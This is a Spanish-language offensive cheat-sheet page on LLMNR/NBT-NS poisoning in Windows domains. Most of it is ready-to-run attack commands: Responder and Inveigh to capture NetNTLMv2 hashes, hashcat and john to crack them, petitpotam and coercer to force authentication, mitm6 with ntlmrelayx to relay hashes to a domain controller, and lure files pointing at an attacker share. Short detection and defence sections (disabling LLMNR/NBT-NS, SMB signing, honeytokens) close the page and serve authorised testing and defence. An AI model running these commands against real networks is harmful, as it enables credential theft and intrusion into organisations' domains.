LLMNR / NBT-NS Poisoning
Arsenal completo de comandos en la cheatsheetEl envenenamiento de LLMNR y NBT-NS aprovecha los protocolos de resolución de nombres de reserva de Windows para hacernos pasar por el host que la víctima busca y capturar su autenticación NetNTLMv2. Es a menudo el primer punto de apoyo en un dominio sin tener aún ninguna credencial.
Por qué funciona. Cuando el DNS no resuelve un nombre (una ruta mal escrita, un recurso que ya no existe), Windows recurre a LLMNR y NBT-NS, que preguntan por difusión "¿quién es FILESRV01?". Nadie valida esas respuestas: si contestamos "yo soy", la víctima nos trata como el servidor legítimo y, al intentar autenticarse contra nosotros, nos envía un reto-respuesta NetNTLMv2 con su usuario y el hash de su contraseña. Escuchando en el segmento con Responder (o Inveigh en Windows) se recogen esos hashes.
El abuso. Se levanta Responder en la interfaz de la red interna y se espera (o se fuerza) una resolución fallida; el hash capturado se rompe offline o se retransmite (ver NTLM relay).
Capturar hashes (Responder / Inveigh)
Distintos modos según lo que queramos: envenenar de verdad, solo observar sin tocar la red, o servir un WPAD para capturar también autenticación HTTP. Los hashes quedan en /usr/share/responder/logs/:
sudo responder -I <iface> -wv # envenenar LLMNR/NBT-NS/mDNS + servidores señuelo
sudo responder -I <iface> -A # modo analisis: observar sin responder (recon)
sudo responder -I <iface> -wvF # forzar autenticacion WPAD (proxy) -> hash HTTPDesde un equipo Windows ya comprometido se usa Inveigh (mismo ataque, sin salir del dominio):
Import-Module .\Inveigh.ps1; Invoke-Inveigh -ConsoleOutput Y -NBNS Y -LLMNR Y
Inveigh.exe # version C# compiladaEl NetNTLMv2 capturado se rompe offline (no vale para pass-the-hash):
hashcat -m 5600 <hash.txt> <rockyou.txt>
john --format=netntlmv2 --wordlist=<rockyou.txt> <hash.txt>Forzar la resolución (coerción)
Si nadie teclea mal un nombre, se provoca el fallo: se pide a la víctima que abra una ruta UNC hacia nosotros, o se coacciona directamente a un servidor.
# sembrar enlaces/documentos que apunten a \\<lhost>\share (SCF, .url, .lnk)
# o coaccionar autenticacion de maquina contra nuestro host:
petitpotam.py -u <user> -p <pass> <lhost> <target>
coercer coerce -u <user> -p <pass> -t <target> -l <lhost>mitm6 (envenenamiento IPv6 / DHCPv6)
Windows prefiere IPv6 y pide dirección por DHCPv6 sin que nadie sirva ese protocolo: mitm6 se hace pasar por el servidor DNS IPv6 y redirige la resolución hacia nosotros, normalmente encadenado a un relay:
mitm6 -d <domain>
ntlmrelayx.py -6 -t ldaps://<dc-ip> -wh wpad.<domain> -l loot # combinar con mitm6Requisitos. Hace falta estar en el mismo segmento de difusión que las víctimas (es un ataque de red local) y que LLMNR/NBT-NS sigan habilitados, que es lo habitual por defecto. El hash NetNTLMv2 no sirve para pass-the-hash: o se crackea, o se retransmite.
Cómo detectarlo. La huella de red es un host que responde a consultas LLMNR (UDP 5355) y NBT-NS (UDP 137) para nombres muy diversos y que no le corresponden, a menudo el primero en contestar siempre. En azul se puede sembrar una cuenta honeytoken cuyo uso solo tenga sentido si alguien envenenó la resolución, y vigilar autenticaciones NetNTLMv2 hacia equipos que no son servidores. Un pico de tráfico de difusión respondido por una única máquina es la señal.
Defensa. Deshabilitar LLMNR (por GPO) y NBT-NS (en cada adaptador), que corta el vector de raíz; segmentar la red para limitar el dominio de difusión; y exigir firma SMB para que un hash capturado no se pueda retransmitir. Alimenta directamente el NTLM relay y el cracking de hashes, y el resultado suele habilitar un rociado de contraseñas.